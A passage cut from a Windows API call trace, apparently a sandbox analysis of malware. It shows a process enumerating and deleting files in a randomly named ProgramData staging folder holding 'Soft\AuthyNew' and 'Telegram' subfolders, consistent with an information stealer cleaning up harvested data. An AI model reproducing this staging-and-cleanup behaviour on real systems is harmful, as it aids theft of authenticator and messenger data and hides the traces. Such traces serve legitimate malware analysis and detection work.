lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8d836e, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8d836e, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8d836e, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8829f0 [0149.452] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" [0149.452] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\" [0149.453] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\." [0149.453] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\AuthyNew" | out: lpString1="\\Soft\\AuthyNew") returned="\\Soft\\AuthyNew" [0149.453] lstrcatW (in: lpString1="\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="\\Soft\\AuthyNew\\") returned="\\Soft\\AuthyNew\\" [0149.453] lstrcatW (in: lpString1="\\Soft\\AuthyNew\\", lpString2="." | out: lpString1="\\Soft\\AuthyNew\\.") returned="\\Soft\\AuthyNew\\." [0149.453] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.453] FindNextFileW (in: hFindFile=0x8829f0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8d836e, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8d836e, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8d836e, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.453] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" [0149.453] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\" [0149.453] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew\\.." [0149.453] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\AuthyNew" | out: lpString1="\\Soft\\AuthyNew") returned="\\Soft\\AuthyNew" [0149.453] lstrcatW (in: lpString1="\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="\\Soft\\AuthyNew\\") returned="\\Soft\\AuthyNew\\" [0149.453] lstrcatW (in: lpString1="\\Soft\\AuthyNew\\", lpString2=".." | out: lpString1="\\Soft\\AuthyNew\\..") returned="\\Soft\\AuthyNew\\.." [0149.453] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.453] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.453] FindNextFileW (in: hFindFile=0x8829f0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8d836e, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8d836e, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8d836e, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.453] FindClose (in: hFindFile=0x8829f0 | out: hFindFile=0x8829f0) returned 1 [0149.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0149.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3d) returned 0x32ba420 [0149.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x32ba420, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", lpUsedDefaultChar=0x0) returned 61 [0149.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba2b8 [0149.454] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba420 | out: hHeap=0x2360000) returned 1 [0149.454] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23668c8 [0149.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x23668c8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.454] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668c8 | out: hHeap=0x2360000) returned 1 [0149.454] PathMatchSpecW (pszFile="AuthyNew", pszSpec="*.*") returned 1 [0149.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404e8 [0149.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0149.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3d) returned 0x32ba228 [0149.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x32ba228, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew", lpUsedDefaultChar=0x0) returned 61 [0149.455] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba6a8 [0149.455] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba228 | out: hHeap=0x2360000) returned 1 [0149.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\AuthyNew", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.455] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xf) returned 0x236aac8 [0149.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\AuthyNew", cchWideChar=15, lpMultiByteStr=0x236aac8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Soft\\AuthyNew", lpUsedDefaultChar=0x0) returned 15 [0149.455] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aac8 | out: hHeap=0x2360000) returned 1 [0149.455] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authynew"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.455] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6a8 | out: hHeap=0x2360000) returned 1 [0149.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0149.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.456] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authynew")) returned 0 [0149.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba2b8 | out: hHeap=0x2360000) returned 1 [0149.456] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8d836e, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4c8d836e, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4c8d836e, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthyNew", cAlternateFileName="")) returned 0 [0149.456] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.456] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.456] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32bae20 [0149.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x32bae20, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", lpUsedDefaultChar=0x0) returned 52 [0149.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba930 [0149.457] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bae20 | out: hHeap=0x2360000) returned 1 [0149.457] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366868 [0149.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366868, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.457] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366868 | out: hHeap=0x2360000) returned 1 [0149.457] PathMatchSpecW (pszFile="Soft", pszSpec="*.*") returned 1 [0149.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32bb060 [0149.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x32bb060, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft", lpUsedDefaultChar=0x0) returned 52 [0149.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0149.458] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb060 | out: hHeap=0x2360000) returned 1 [0149.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.458] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x6) returned 0x23668c8 [0149.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft", cchWideChar=6, lpMultiByteStr=0x23668c8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Soft", lpUsedDefaultChar=0x0) returned 6 [0149.458] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668c8 | out: hHeap=0x2360000) returned 1 [0149.458] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.458] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0149.458] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.458] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft")) returned 0 [0149.458] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba930 | out: hHeap=0x2360000) returned 1 [0149.458] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d186a9c, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4d186a9c, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4d186a9c, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telegram", cAlternateFileName="")) returned 1 [0149.458] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.458] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.458] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="Telegram" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" [0149.458] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.459] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.459] lstrcatW (in: lpString1="\\", lpString2="Telegram" | out: lpString1="\\Telegram") returned="\\Telegram" [0149.459] lstrcmpW (lpString1="Telegram", lpString2=".") returned 1 [0149.459] lstrcmpW (lpString1="Telegram", lpString2="..") returned 1 [0149.459] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" [0149.459] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\*.*" [0149.459] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d186a9c, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4d186a9c, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4d186a9c, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.459] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" [0149.459] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\" [0149.459] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\." [0149.459] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Telegram" | out: lpString1="\\Telegram") returned="\\Telegram" [0149.459] lstrcatW (in: lpString1="\\Telegram", lpString2="\\" | out: lpString1="\\Telegram\\") returned="\\Telegram\\" [0149.459] lstrcatW (in: lpString1="\\Telegram\\", lpString2="." | out: lpString1="\\Telegram\\.") returned="\\Telegram\\." [0149.459] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.459] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d186a9c, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4d186a9c, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4d186a9c, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.460] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" [0149.460] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\" [0149.460] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram\\.." [0149.460] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Telegram" | out: lpString1="\\Telegram") returned="\\Telegram" [0149.460] lstrcatW (in: lpString1="\\Telegram", lpString2="\\" | out: lpString1="\\Telegram\\") returned="\\Telegram\\" [0149.460] lstrcatW (in: lpString1="\\Telegram\\", lpString2=".." | out: lpString1="\\Telegram\\..") returned="\\Telegram\\.." [0149.460] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.460] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.460] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d186a9c, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4d186a9c, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4d186a9c, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.460] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0149.460] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x38) returned 0x32bab60 [0149.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x32bab60, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", lpUsedDefaultChar=0x0) returned 56 [0149.460] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0149.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bab60 | out: hHeap=0x2360000) returned 1 [0149.460] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23668c8 [0149.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x23668c8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668c8 | out: hHeap=0x2360000) returned 1 [0149.461] PathMatchSpecW (pszFile="Telegram", pszSpec="*.*") returned 1 [0149.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23636d0 [0149.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0149.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0149.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x38) returned 0x32baca0 [0149.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x32baca0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram", lpUsedDefaultChar=0x0) returned 56 [0149.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba8a0 [0149.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baca0 | out: hHeap=0x2360000) returned 1 [0149.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Telegram", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa) returned 0x236ac30 [0149.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Telegram", cchWideChar=10, lpMultiByteStr=0x236ac30, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Telegram", 